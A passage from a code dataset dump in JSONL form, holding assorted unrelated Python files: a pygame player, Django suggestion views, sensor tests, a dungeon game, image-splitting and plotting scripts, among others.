mmap_path_start)\n\n\t#load 1st array \n\tframes_0, dims, T = mmp.load_memmap(full_file_paths[0])\n\tconcatenated = np.array(frames_0)\n\tdims_list = [dims]\n\tT_list = [T]\n\n\t#join arrays frame by frame\n\tfor file_name in full_file_paths[1:]:\n\t\tframes, dims, T = mmp.load_memmap(file_name)\n\t\tconcatenated = np.concatenate((concatenated, np.array(frames)), axis=1)\n\t\tdims_list.append(dims)\n\t\tT_list.append(T)\n\n\tif reshape:\n\t\tprint('reshaping')\n\t\treshaped = caiman_mmap_to_hdf(concatenated, dims)\n\n\toutput_fname = save_to_hdf(folder_path, mmap_path_out, reshaped )\n\tprint(mmap_path_out, 'done')\n\treturn()\n\ndef run_convert_concat(files, num_procs, concat_size):\n\t#start pool\n\tchunk_list = list(chunks(files, concat_size))\n\tpool = mp.Pool(num_procs)\n\tpool.map(mmp_h5.concat_convert_from_mmap, [chunk for chunk in chunk_list])\n\treturn()\n\n\n#path_to_mmap = sys.argv[1]\n\n#folder_path, mmap_path = os.path.split(path_to_mmap)\n\n#frames, dims, T = mmp.load_memmap(path_to_mmap)\n\n#frames_array = np.array(frames)\n\n#output_fname = save_to_hdf(folder_path, mmap_path, movie_reshaped)\n\n\n","sub_path":"mmap_to_h5py_module.py","file_name":"mmap_to_h5py_module.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"635513876","text":"# Файл описывающий игрока\nimport pygame\nfrom game_settings import *\nfrom level import walls_collision\n\n\nclass Player:\n def __init__(self, sprites):\n self.x, self.y = PLAYER_POSITION\n self.sprites = sprites\n self.angle = PLAYER_ANGLE\n self.sensitivity = 0.002\n self.side = 50\n self.rect = pygame.Rect(*PLAYER_POSITION, self.side, self.side)\n self.shot = False\n\n @property\n def collisions(self):\n return walls_collision + [pygame.Rect(*i.pos(), i.side, i.side) for i in self.sprites.sprites\n if i.blocked]\n\n def detect_collision(self, dx, dy):\n next_rect = self.rect.copy()\n next_rect.move_ip(dx, dy)\n hit_indexes = next_rect.collidelistall(self.collisions)\n\n if len(hit_indexes):\n delta_x, delta_y = 0, 0\n for hit_index in hit_indexes:\n hit_rect = self.collisions[hit_index]\n if dx > 0:\n delta_x += next_rect.right - hit_rect.left\n else:\n delta_x += hit_rect.right - next_rect.left\n if dy > 0:\n delta_y += next_rect.bottom - hit_rect.top\n else:\n delta_y += hit_rect.bottom - next_rect.top\n if abs(delta_x - delta_y) < 10:\n dx, dy = 0, 0\n elif delta_x > delta_y:\n dy = 0\n elif delta_y > delta_x:\n dx = 0\n self.x += dx\n self.y += dy\n\n def collision(self):\n return walls_collision + self.sprites_collision + [pygame.Rect(*i.pos(), i.side, i.side) for\n i in self.sprites.sprites if i.blocked]\n\n def move(self):\n self.keys()\n self.mouse()\n self.rect.center = self.x, self.y\n self.angle %= DOUBLE_PI\n\n def keys(self):\n buttons = pygame.key.get_pressed()\n sin_angle, cos_angle = sin(self.angle), cos(self.angle)\n\n if buttons[pygame.K_ESCAPE]:\n exit()\n\n if buttons[pygame.K_LEFT]:\n self.angle -= PLAYER_ROTATE_SPEED\n if buttons[pygame.K_RIGHT]:\n self.angle += PLAYER_ROTATE_SPEED\n\n if buttons[pygame.K_a]:\n dx = PLAYER_SPEED * sin_angle\n dy = -PLAYER_SPEED * cos_angle\n self.detect_collision(dx, dy)\n if buttons[pygame.K_d]:\n dx = -PLAYER_SPEED * sin_angle\n dy = PLAYER_SPEED * cos_angle\n self.detect_collision(dx, dy)\n if buttons[pygame.K_w]:\n dx = PLAYER_SPEED * cos_angle\n dy = PLAYER_SPEED * sin_angle\n self.detect_collision(dx, dy)\n if buttons[pygame.K_s]:\n dx = -PLAYER_SPEED * cos_angle\n dy = -PLAYER_SPEED * sin_angle\n self.detect_collision(dx, dy)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit()\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1 and not self.shot:\n self.shot = True\n\n def mouse(self):\n if pygame.mouse.get_focused():\n difference = pygame.mouse.get_pos()[0] - HALF_WIDTH\n pygame.mouse.set_pos((HALF_WIDTH, HALF_HEIGHT))\n self.angle += difference * self.sensitivity\n\n def get_position(self):\n return self.x, self.y\n","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":3446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"127136164","text":"#https://www.hackerrank.com/challenges/cut-the-tree\n#incomplete\n\nclass Tree:\n\n def __init__(self, data, index):\n self.index = index\n self.data = data\n self.left = None\n self.right = None\n\n\n def add_to_tree(self, index, node):\n if self.left == None:\n self.right = node\n else:\n self.left = node\n\nn = int(input())\n\nweights = list(map(int, input().split()))\nsum_weights = sum(weights)\n\ns = [list(map(int, input().split())) for i in range(1,n)]\nprint (s)\n\nv = [0 for i in range(n)]\n","sub_path":"cut_the_tree.py","file_name":"cut_the_tree.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"519715120","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport gfit as gfit\n\ndef get_A(I, sigma):\n return I/(sigma*(np.pi)**(1./2.))\n\nn = 100\nstart = 0. + 1./n\nend = 5.#start/float(n)\nsigmas = np.linspace(start, end, n)\n\nx = np.linspace(-1,1,100)\n\nI = 100.\n\ny_max = np.zeros(len(sigmas))\n\nfor i in range(len(sigmas)):\n A = get_A(I, sigmas[i])\n y = gfit.gauss_model(x, A, 0, sigmas[i], 0)\n y_max[i] = y.max()\n\n\nplt.plot(sigmas,y_max)\nplt.xlabel(\"Sigma\")\nplt.ylabel(\"Y-Max\")\nplt.show()\n","sub_path":"maxVSsig.py","file_name":"maxVSsig.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"511900915","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom .models import Suggestion, suggestionUpvote, SuggestionComment\nfrom django.utils import timezone\nfrom django.contrib import messages\nfrom .forms import SuggestionForm, SuggestionCommentForm\nfrom django.contrib.auth.decorators import login_required\n\ndef all_suggestions(request):\n \"\"\"\n Displays all current suggestions\n \"\"\"\n suggestions = Suggestion.objects.filter(created_date__lte=timezone.now())\n \n return render(request,'suggestions.html', {'suggestions':suggestions})\n \ndef single_suggestion(request, pk):\n \"\"\"\n Displays a selected suggestion in more detail\n \"\"\"\n suggestion = get_object_or_404(Suggestion, pk=pk)\n \n \n if request.method == 'POST':\n comment_form = SuggestionCommentForm(request.POST or None)\n if comment_form.is_valid():\n comment = request.POST.get('comment')\n suggestion_comment = SuugestionComment.objects.create(suggestion=suggestion, posted_by=request.user, comment=comment)\n suggestion_comment.save()\n return redirect('single_suggestion', suggestion.pk)\n else:\n comment_form = SuggestionCommentForm\n suggestion.views +=1\n suggestion.save()\n \n comments = SuggestionComment.objects.filter(suggestion=suggestion)\n comment_form = SuggestionCommentForm()\n \n return render(request, 'suggestion_detail.html', {'suggestion':suggestion, 'comments': comments, 'comment_form': comment_form,})\n \n@login_required\ndef make_suggestion(request):\n \n form = SuggestionForm(request.POST)\n if request.method == \"POST\":\n \n if form.is_valid():\n suggestion = form.save(commit=False)\n suggestion.suggested_by = request.user\n suggestion.save()\n messages.success(request, 'Thank you, your suggestion has been added!', extra_tags=\"alert-success\")\n \n return redirect('suggestions')\n else:\n form =SuggestionForm\n \n return render(request, 'make_suggestion.html', {'form':form})\n \n@login_required\ndef upvote_suggestion(request, pk):\n \"\"\"Adds one upvote point\"\"\"\n suggestion = get_object_or_404(Suggestion, pk=pk)\n suggestion.suggestion_upvotes += 1\n suggestion.views -= 1\n suggestion.save()\n\n try:\n upvote = get_object_or_404(\n suggestionUpvote, upvoted_suggestion=suggestion, user=request.user)\n except:\n upvote = suggestionUpvote()\n upvote.upvoted_suggestion = suggestion\n upvote.user = request.user\n upvote.save()\n return(redirect(single_suggestion, pk))\n","sub_path":"suggestions/.~c9_invoke_lCYKM9.py","file_name":".~c9_invoke_lCYKM9.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"480083562","text":"import numpy as np\nimport pandas as pd\n\nimages = pd.read_csv('../Data_Entry_2017.csv',encoding='utf-8')\n\ncols = ['Image Index', 'Finding Labels']\n\nimages = images[cols]\n\ncardiomegaly = images.loc[images['Finding Labels'] == 'Cardiomegaly']\nno_finding = images.loc[images['Finding Labels'] == 'No Finding']\nhernia = images.loc[images['Finding Labels'] == 'Hernia']\ninfiltration = images.loc[images['Finding Labels'] == 'Infiltration']\nnodule = images.loc[images['Finding Labels'] == 'Nodule']\nemphysema = images.loc[images['Finding Labels'] == 'Emphysema']\neffusion = images.loc[images['Finding Labels'] == 'Effusion']\natelectasis = images.loc[images['Finding Labels'] == 'Atelectasis']\npleural_thickening = images.loc[images['Finding Labels'] == 'Pleural_Thickening']\npneumothorax = images.loc[images['Finding Labels'] == 'Pneumothorax']\nmass = images.loc[images['Finding Labels'] == 'Mass']\nfibrosis = images.loc[images['Finding Labels'] == 'Fibrosis']\nconsolidation = images.loc[images['Finding Labels'] == 'Consolidation']\nedema = images.loc[images['Finding Labels'] == 'Edema']\npneumonia = images.loc[images['Finding Labels'] == 'Pneumonia']\n\ncardiomegaly_img = cardiomegaly['Image Index'].values\nno_finding_img = no_finding['Image Index'].values\nhernia_img = hernia['Image Index'].values\ninfiltration_img = infiltration['Image Index'].values\nnodule_img = nodule['Image Index'].values\nemphysema_img = emphysema['Image Index'].values\neffusion_img = effusion['Image Index'].values\natelectasis_img = atelectasis['Image Index'].values\npleural_thickening_img = pleural_thickening['Image Index'].values\npneumothorax_img = pneumothorax['Image Index'].values\nmass_img = mass['Image Index'].values\nfibrosis_img = fibrosis['Image Index'].values\nconsolidation_img = consolidation['Image Index'].values\nedema_img = edema['Image Index'].values\npneumonia_img = pneumonia['Image Index'].values\n\nprint(cardiomegaly_img)\n\n\nlabels = [\n [cardiomegaly, cardiomegaly_img, 'cardiomegaly'],\n [no_finding, no_finding_img, 'no_finding'],\n [hernia, hernia_img, 'hernia'],\n [infiltration, infiltration_img, 'infiltration'],\n [nodule, nodule_img, 'nodule'],\n [emphysema, emphysema_img, 'emphysema'],\n [effusion, effusion_img, 'effusion'],\n [atelectasis, atelectasis_img, 'atelectasis'],\n [pleural_thickening, pleural_thickening_img, 'pleural_thickening'],\n [pneumothorax, pneumothorax_img, 'pneumothorax'],\n [mass, mass_img, 'mass'],\n [fibrosis, fibrosis_img, 'fibrosis'],\n [consolidation, consolidation_img, 'consolidation'],\n [edema, edema_img, 'edema'],\n [pneumonia, pneumonia_img, 'pneumonia']\n ]\n\n\nfrom random import shuffle\nfrom math import floor\n\n\nfrom shutil import copyfile\n\n\npreferred = ['no_finding', 'infiltration', 'atelectasis', 'effusion']\n\nfor label in labels:\n if(label[2] in preferred):\n if((label[2]=='no_finding') | (label[2]=='infiltration')):\n label[0]=label[0][:8000]\n label[1]=label[1][:8000]\n\n print(label[1])\n shuffle(label[1])\n print(label[1])\n\n n_train = floor(len(label[0])*.64)\n n_val = floor(len(label[0])*.16)\n n_test = len(label[0]) - (n_train + n_val)\n\n print(n_train, n_val, n_test)\n\n train = label[1][:n_train]\n val = label[1][n_train:n_train + n_val]\n test = label[1][n_train + n_val:]\n print(len(train), len(val), len(test)) \n\n counter = 0\n\n for img in train:\n base = '/home/jf/Documents/estudio/xrays/split_in_folders/299/' + label[2] + '/'\n target = '/home/jf/Documents/estudio/xrays/split_in_folders/299SL/train/' + label[2] + '/'\n base = base + img\n target = target + img\n print(base[49:], target[49:])\n copyfile(base, target)\n counter +=1\n print(\"==> {}\".format(counter))\n\n counter = 0\n for img in val:\n base = '/home/jf/Documents/estudio/xrays/split_in_folders/299/' + label[2] + '/'\n target = '/home/jf/Documents/estudio/xrays/split_in_folders/299SL/val/' + label[2] + '/'\n base = base + img\n target = target + img\n print(base[49:], target[49:])\n copyfile(base, target)\n counter +=1\n print(\"==> {}\".format(counter))\n\n counter = 0\n for img in test:\n base = '/home/jf/Documents/estudio/xrays/split_in_folders/299/' + label[2] + '/'\n target = '/home/jf/Documents/estudio/xrays/split_in_folders/299SL/test/' + label[2] + '/'\n base = base + img\n target = target + img\n print(base[49:], target[49:])\n copyfile(base, target)\n counter +=1\n print(\"==> {}\".format(counter))\n","sub_path":"v2_train_test_split_images_small.py","file_name":"v2_train_test_split_images_small.py","file_ext":"py","file_size_in_byte":4872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"33491789","text":"import sys, traceback\nimport yaml\nfrom prrt.planner import Planner\n\n\ndef main():\n try:\n # if no arguments were passed print help\n if len(sys.argv) == 1:\n print_help()\n return\n # process shared argument across all functions\n n_iterations = 1\n command = int(sys.argv[1])\n if command in [1, 2]:\n planner_config_file = sys.argv[2]\n with open(planner_config_file) as f:\n planner_config = yaml.load(f)\n #planner = Planner(planner_config)\n else:\n print_help()\n return\n arg_count = len(sys.argv) - 2 # remove file name and command number\n\n # process commands\n if command == 1 and arg_count == 1:\n solve(planner)\n elif command == 2 and arg_count == 2:\n n_iterations = int(sys.argv[3])\n print(\"The planner will run \", n_iterations, \" times, to build statistics, this will take a while !\")\n #create the file for the statistics and add an header to the first line\n import csv\n with open('.\\out\\stats.csv', 'w', newline='') as csvfile:\n csv_writer = csv.writer(csvfile, delimiter=',')\n csv_writer.writerow(['success','number_of_iterations', 'total_number_of_nodes', 'best_path_length', 'best_distance_to_target'])\n # starting iterations\n for i in range(0, n_iterations):\n planner = Planner(planner_config)\n print (\"Solving iteration number \", i)\n solve(planner)\n success, number_of_iterations, total_number_of_nodes, best_path_length, best_distance_to_target, solving_time = planner.getResults()\n print(\"results:\")\n print(\" 1. Solve success \", success)\n print(\" 2. Number of iterations \", number_of_iterations)\n print(\" 3. Total number of nodes in the tree \", total_number_of_nodes)\n print(\" 4. Best path length \", best_path_length)\n print(\" 5. Best distance to target \", best_distance_to_target)\n print(\" 6. Solving time \", solving_time)\n statistics_to_csv('stats.csv',\n success,\n number_of_iterations,\n total_number_of_nodes,\n best_path_length,\n best_distance_to_target,\n solving_time)\n print(\"Finish, building statistics\")\n del planner\n\n else:\n print_help()\n except:\n print()\n print('Error! Make sure to follow usage guidelines shown below')\n print('Error details:')\n print(traceback.print_exc())\n print_help()\n\n\n\ndef solve(planner: Planner):\n planner.solve()\n\ndef statistics_to_csv(file_name='.\\out\\stats.csv',\n success=False,\n number_of_iterations=0,\n total_number_of_nodes=0,\n best_path_length=0.0,\n best_distance_to_target=0.0,\n solving_time = 0.0):\n import csv\n with open(file_name, 'a', newline='') as csvfile:\n csv_writer = csv.writer(csvfile, delimiter=',')\n row = [success, number_of_iterations, total_number_of_nodes, best_path_length, best_distance_to_target, solving_time]\n csv_writer.writerow( ['{0:+.4f}'.format(x) for x in row])\n\n\n\n print('Dumping solution to csv file done')\n\ndef print_help():\n print()\n print('Planner Runner!')\n print('Usage:')\n print('Run: python planner_runner.py [command number] [arg1] [arg2] .... ')\n print()\n print('Commands:')\n print(' 1: Solve using RRT')\n print(' Arguments:')\n print(' 1: planner configuration file')\n print(' Example: python planner_runner.py 1 ./config/planner.yaml')\n print(' 2: Solve n-times using RRT and build statistics ')\n print(' Arguments:')\n print(' 1: planner configuration file')\n print(' 2: number of iterations')\n print(' Example: python planner_runner.py 2 ./config/planner.yaml 100')\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"planner_runner.py","file_name":"planner_runner.py","file_ext":"py","file_size_in_byte":4313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"538490381","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n# tengo la tabla guardada en un txt (tablita.txt) separada por tabulaciones. Cambié comas por puntos.\n\n#importo columna de x como array\nx = np.loadtxt('tablita.txt', usecols= 0)\n#importo columna de y como array\ny = np.loadtxt('tablita.txt', usecols = 1)\n\n\n#hacer una regresión lineal primero, polyfit me devuelve los coeficientes, primero el de mayor orden (x)\n# guardo en las variables m (mx) y b\nm, b = np.polyfit(x, y, 1)\n\n\n# plotear el scatter\nplt.scatter(x, y)\n# agregar labels para los datos\nfor xy in zip(x, y):\n plt.annotate('(%s, %s)' % xy, xy=xy, textcoords='data')\n# plotear regresión\nplt.plot(x, m * x + b)\n# agregar labels de ejes\nplt.xlabel('Tiempo')\nplt.ylabel('Cositas')\nplt.show()\n\n\n# genero el polinomio con numpy\npoly = np.poly1d([1, 1, -4, 4])\n# genero los puntos en x\nx = np.arange(-10, 10, 0.1)\n# genero la derivada\nderiv = np.polyder(poly)\n\n#evaluar la funcion a x en los puntos pedidos\ny = poly(x)\n#encontrar máximo y mínimo locales de la función en el rango dado.\nmax_rel = max(y)\nmin_rel = min(y)\n\n#graficar el polinomio y su derivada\nplt.plot(x, poly(x), color = 'red')\nplt.plot(x, deriv(x), color = 'green')\n#marcar máximo y mínimo en el gráfico\nplt.plot(10, max_rel, 'b^')\nplt.plot(-10, min_rel, 'bv')\nplt.text(10, max_rel, 'max', fontsize= 15)\nplt.text(-10, min_rel, 'min', fontsize= 15)\nplt.title('f(x) y su derivada')\nplt.xlabel('x')\nplt.ylabel('f(x)')\n#poner labels a f(x) y derivada.\nplt.grid(True, 'major', 'both')\nplt.show()\n\n\n\n#generar archivo y guardar (y cerrar)\nf_out = open('datagen.txt', 'w')\nnp.savetxt(f_out, y, fmt= '%f', delimiter= '/t', header= 'f(x)')\n#np.savetxt(f_out, x, fmt= '%f', delimiter = '/t', header = 'x')\nf_out.close()\n\n\n\n","sub_path":"ejslibrerias.py","file_name":"ejslibrerias.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"454802140","text":"# -*- coding: utf-8 -*-\n'''Sensors basic test.'''\nfrom datetime import datetime\nimport pytest\nfrom mock import Mock, patch\nfrom jsonschema import ValidationError\n\nfrom ..base import (\n AdvancedSensorBase,\n TaskSensorBase,\n InvalidDataError,\n InvalidSendResultsError,\n)\n\n\nclass TestClassSensors(object):\n ''' Sensor test class'''\n # R0201: Method could be a function\n # pylint: disable=R0201\n\n def setup(self):\n '''Test setup.'''\n # W0201: Attributes 'sensor', 'send_data' defined outside __init__\n # pylint: disable=W0201\n self.send_data = Mock()\n\n class TestTaskSensor(TaskSensorBase):\n '''Dummy TaskSensor for tests.'''\n name = 'test_task_sensor'\n streams = {'default': {'type': float, 'description': 'Desc.'}}\n return_value = ('default', 47.)\n\n def do_run(self):\n return (self.return_value,)\n self.task_sensor_factory = TestTaskSensor\n\n class TestAdvancedSensor(AdvancedSensorBase):\n '''Dummy AdvancedSensor for tests.'''\n name = 'advanced_sensor'\n streams = {'default': {'type': float, 'description': 'Desc.'}}\n config_schema = {\n '$schema': 'http://json-schema.org/schema#',\n 'type': 'object',\n 'properties': {'data_count': {'type': 'integer'}},\n 'required': ['data_count'],\n 'additionalProperties': False\n }\n\n def do_run(self):\n for _ in xrange(self.config['data_count']):\n self.send_results(datetime.utcnow(), (('default', 47.),))\n\n self.sensor = TestTaskSensor({'sampling_period': 10}, self.send_data, {})\n self.adv_sensor = TestAdvancedSensor({'data_count': 3}, self.send_data, {})\n\n self.datetime_patch = patch(\n 'whmonit.client.sensors.base.datetime',\n Mock(wraps=datetime),\n )\n self.datetime_mock = self.datetime_patch.start()\n self.datetime_mock.utcnow.return_value = datetime(2006, 1, 2, 3, 4, 5)\n\n def teardown(self):\n '''\n Stops mocks.\n '''\n self.datetime_patch.stop()\n\n @pytest.mark.parametrize('schema,merged_schema', [\n (\n {\n 'type': 'object',\n 'properties': {'host': {'type': 'string'}},\n 'additionalProperties': False\n },\n {\n '$schema': 'http://json-schema.org/schema#',\n 'type': 'object',\n 'properties': {\n 'host': {'type': 'string'},\n 'sampling_period': {'type': 'integer', 'default': 10, 'minimum': 1},\n 'memory_limit': {'type': 'integer', 'minimum': 1024},\n 'run_timeout': {'type': 'integer', 'minimum': 5, 'maximum': 3600}\n },\n 'dependencies': {},\n 'required': ['sampling_period'],\n 'additionalProperties': False\n },\n ),\n (\n {\n '$schema': 'http://json-schema.org/schema#',\n 'type': 'object',\n 'properties': {\n 'host': {'type': 'string'},\n 'login': {'type': 'string'},\n 'password': {'type': 'string'}\n },\n 'required': ['host'],\n 'dependencies': {'login': ['password'], 'password': ['login']},\n 'additionalProperties': False\n },\n {\n '$schema': 'http://json-schema.org/schema#',\n 'type': 'object',\n 'properties': {\n 'host': {'type': 'string'},\n 'login': {'type': 'string'},\n 'password': {'type': 'string'},\n 'sampling_period': {'type': 'integer', 'default': 10, 'minimum':1},\n 'memory_limit': {'type': 'integer', 'minimum': 1024},\n 'run_timeout': {'type': 'integer', 'minimum': 5, 'maximum': 3600}\n },\n 'required': ['sampling_period', 'host'],\n 'dependencies': {'login': ['password'], 'password': ['login']},\n 'additionalProperties': False\n },\n )\n ])\n def test_merge_schemas(self, schema, merged_schema):\n '''\n Test if schemas merge correctly.\n '''\n\n class TestSensor(TaskSensorBase):\n '''Test Sensor.'''\n name = 'test_sensor'\n streams = {}\n config_schema = schema\n\n def do_run(self):\n return\n\n assert TestSensor.config_schema == merged_schema\n\n def test_invalid_send_results_param(self):\n '''\n Passing 'false' send_results should throw an existing exception.\n '''\n with pytest.raises(InvalidSendResultsError):\n self.task_sensor_factory({'sampling_period': 10}, None, {})\n\n def test_send_results(self):\n '''\n Send correct results.\n '''\n self.sensor.run()\n self.send_data.assert_called_once_with(\n datetime(2006, 1, 2, 3, 4, 5), (('default', 47),)\n )\n\n def test_advanced_sensor(self):\n '''\n Tests if a simple AdvanceSensor will periodicaly send data.\n '''\n try:\n self.adv_sensor.run()\n except AssertionError:\n pass\n assert self.send_data.call_count == 3\n\n def test_send_results_bad_stream(self):\n '''\n Send results with wrong stream name.\n '''\n self.sensor.return_value = ('badstream', 47.)\n with pytest.raises(InvalidDataError) as err:\n self.sensor.run()\n assert err.value.message.startswith('Sensor `')\n\n def test_send_results_bad_datatype(self):\n '''\n Send results with wrong data type.\n '''\n self.sensor.return_value = ('default', 'bad')\n with pytest.raises(InvalidDataError) as err:\n self.sensor.run()\n assert err.value.message.startswith('Datatype returned by sensor')\n\n def test_stream_bad_type(self):\n '''\n Send results, while stream's type not in PRIMITIVE_TYPE_REGISTERY.\n '''\n self.sensor.streams = {'default': {'type': list, 'description': 'Desc.'}}\n self.sensor.return_value = ('default', [])\n with pytest.raises(InvalidDataError) as err:\n self.sensor.run()\n assert err.value.message.startswith(\"Datatype of stream\")\n\n def test_bad_config_schema(self):\n '''\n Should report validation error to error stream and re-raise.\n '''\n with pytest.raises(ValidationError):\n self.task_sensor_factory(\n {'some': ['invalid', 'stuff']}, self.send_data, {}\n )\n self.send_data.assert_called_once_with(\n datetime(2006, 1, 2, 3, 4, 5), ((\n \"error\",\n \"Error while merging schemas: config_schema in class \"\n \"`TestTaskSensor` should be valid against `meta_schema` \"\n \"`'sampling_period' is a required property`\"),))\n","sub_path":"whmonit/client/sensors/test/base_test.py","file_name":"base_test.py","file_ext":"py","file_size_in_byte":7181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"474175511","text":"import spyral\nimport random\n#import Question\n\nclass Item(spyral.Sprite):\n def __init__(self, scene, name, x, y):\n super(Item, self).__init__(scene)\n question_level = \"easy\"\n attempts = 0\n if (name == \"chest\"):\n self.image = spyral.Image(filename=(\"game/images/chest.bmp\"))\n elif (name == \"gem\"):\n self.image = spyral.Image(filename=(\"game/images/gem.bmp\"))\n self.image.scale((50,80))\n self.anchor = \"bottomright\"\n self.x = x\n self.y = y\n \n \n \n","sub_path":"mathadventure.activity/game/Chest.py","file_name":"Chest.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"463775814","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport jsonfield.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('customized_product', '0005_editablefield'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='editablefield',\n name='coordinates',\n field=jsonfield.fields.JSONField(verbose_name='coordinates'),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='editablefield',\n name='product_variation',\n field=models.ForeignKey(related_name='editable_fields', to='shop.ProductVariation'),\n preserve_default=True,\n ),\n ]\n","sub_path":"customized_product/migrations/0006_auto_20150222_0158.py","file_name":"0006_auto_20150222_0158.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"580112466","text":"recipe_tags = set(['GHOST', 'CAL', 'DARK'])\n\nfrom ghostdr.ghost.recipes.qa import recipes_DARK\n\n\ndef recipeDarkBiasCorrect(p):\n \"\"\"\n This recipe performs the minimal steps required to test the bias\n subtraction.\n\n Parameters\n ----------\n p\n\n Returns\n -------\n\n \"\"\"\n\n p.prepare()\n p.addDQ()\n p.addVAR(read_noise=True)\n p.overscanCorrect()\n p.biasCorrect()\n return\n\ndef recipeDarkCreateMaster(p):\n\n return recipes_DARK.makeProcessedDark(p)\n\n_default = recipeDarkCreateMaster\n","sub_path":"ghostdr/ghost/recipes/test/recipes_DARK.py","file_name":"recipes_DARK.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"156082769","text":"from Configuration import Configuration\nfrom Case_Objects import *\nfrom Useful_methods import *\nimport os\nimport time\nfrom getch import getch\n\nclass Game:\n\n def __init__(self, filename):\n self.config = self.load_game(filename)\n\n def play(self):\n self.show()\n while not self.has_won():\n\n print(\"Press z (up), q(right), s(down) or d(left)\\n\")\n print(\">>> \")\n car = getch()\n # car = raw_input(\">>> \")\n if car == \"z\":\n self.config.Adventurer.move(Action.UP)\n elif car == \"s\":\n self.config.Adventurer.move(Action.DOWN)\n elif car == \"q\":\n self.config.Adventurer.move(Action.LEFT)\n elif car == \"d\":\n self.config.Adventurer.move(Action.RIGHT)\n else:\n print(\"Error\")\n\n self.show()\n\n def play_with_policy(self, policy_dict):\n while not self.has_won():\n self.show()\n state = self.config.get_state()\n action = policy_dict[state]\n # print (action)\n self.config.Adventurer.move(action)\n time.sleep(0.5)\n\n def is_winnable(self):\n DD_tab = [[0 for j in range(self.config.Y)] for i in range(self.config.X)]\n x_A, y_A = self.config.Adventurer.position\n DD_tab[x_A][y_A] = 1\n E = set()\n E.add(self.config.Adventurer.position)\n while len(E) != 0:\n current_pos = E.pop()\n x_c, y_c = current_pos\n Neigh_cells = self.config.Dungeon.list_of_neighbouring_cells(current_pos)\n for x, y in Neigh_cells:\n O = self.config.Dungeon.grid[x][y]\n if not isinstance(O, W) and not isinstance(O, C):\n if DD_tab[x][y] == 0 or DD_tab[x][y] > DD_tab[x_c][y_c] + 1:\n DD_tab[x][y] = DD_tab[x_c][y_c] + 1\n E.add((x, y))\n\n key_reachable = False\n Keys_set = set(self.config.Dungeon.list_of_keys_cells())\n # print(Keys_set)\n while not key_reachable and len(Keys_set) != 0:\n k_x, k_y= Keys_set.pop()\n if DD_tab[k_x][k_y] != 0:\n key_reachable = True\n\n t_x, t_y = self.config.Dungeon.treasure_position\n s = \"\"\n for i in range(self.config.X):\n for j in range(self.config.Y):\n s += str(DD_tab[i][j]) + \" \"\n s += \"\\n\"\n # print(s)\n\n return key_reachable and DD_tab[t_x][t_y] != 0\n\n def load_game(self,filename):\n return Configuration(filename)\n\n def has_won(self):\n return self.config.Adventurer.has_treasure and self.config.Adventurer.position == self.config.start_position\n\n def show(self):\n os.system('cls' if os.name == 'nt' else 'clear')\n self.config.show()\n\n @staticmethod\n def random_generation(n, m, level=\"HARD\"):\n D = dict()\n with open(level, \"r\") as file:\n for line in file:\n L = line.split(\" \")\n case_type = L[0]\n prop = float(L[1])/100\n nb = int(prop * n * m)\n D[case_type] = nb\n generate_file_game(generate_position_cells_t(n, m, D))\n return Game(\".game\")\n\nif __name__ == '__main__':\n filename = \"Instances/example_grid\"\n # filename = \"Instances/EASY_10_10\"\n # filename = \"Instances/MEDIUM_10_10\"\n # filename = \"Instances/bridge_to_victory\"\n\n\n G = Game(filename)\n G.play()\n","sub_path":"Game_Python3.py","file_name":"Game_Python3.py","file_ext":"py","file_size_in_byte":3519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"329559584","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.5 (3351)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/pynestml/visitors/ast_line_operation_visitor.py\n# Compiled at: 2020-03-05 05:49:41\n# Size of source mod 2**32: 2233 bytes\n\"\"\"\nrhs : left=rhs (plusOp='+' | minusOp='-') right=rhs\n\"\"\"\nfrom pynestml.visitors.ast_visitor import ASTVisitor\nfrom pynestml.symbols.error_type_symbol import ErrorTypeSymbol\nfrom pynestml.utils.logger import Logger, LoggingLevel\nfrom pynestml.utils.messages import Messages\n\nclass ASTLineOperatorVisitor(ASTVisitor):\n __doc__ = '\\n Visits a single binary operation consisting of + or - and updates the type accordingly.\\n '\n\n def visit_expression(self, node):\n \"\"\"\n Visits a single expression containing a plus or minus operator and updates its type.\n :param node: a single expression\n :type node: 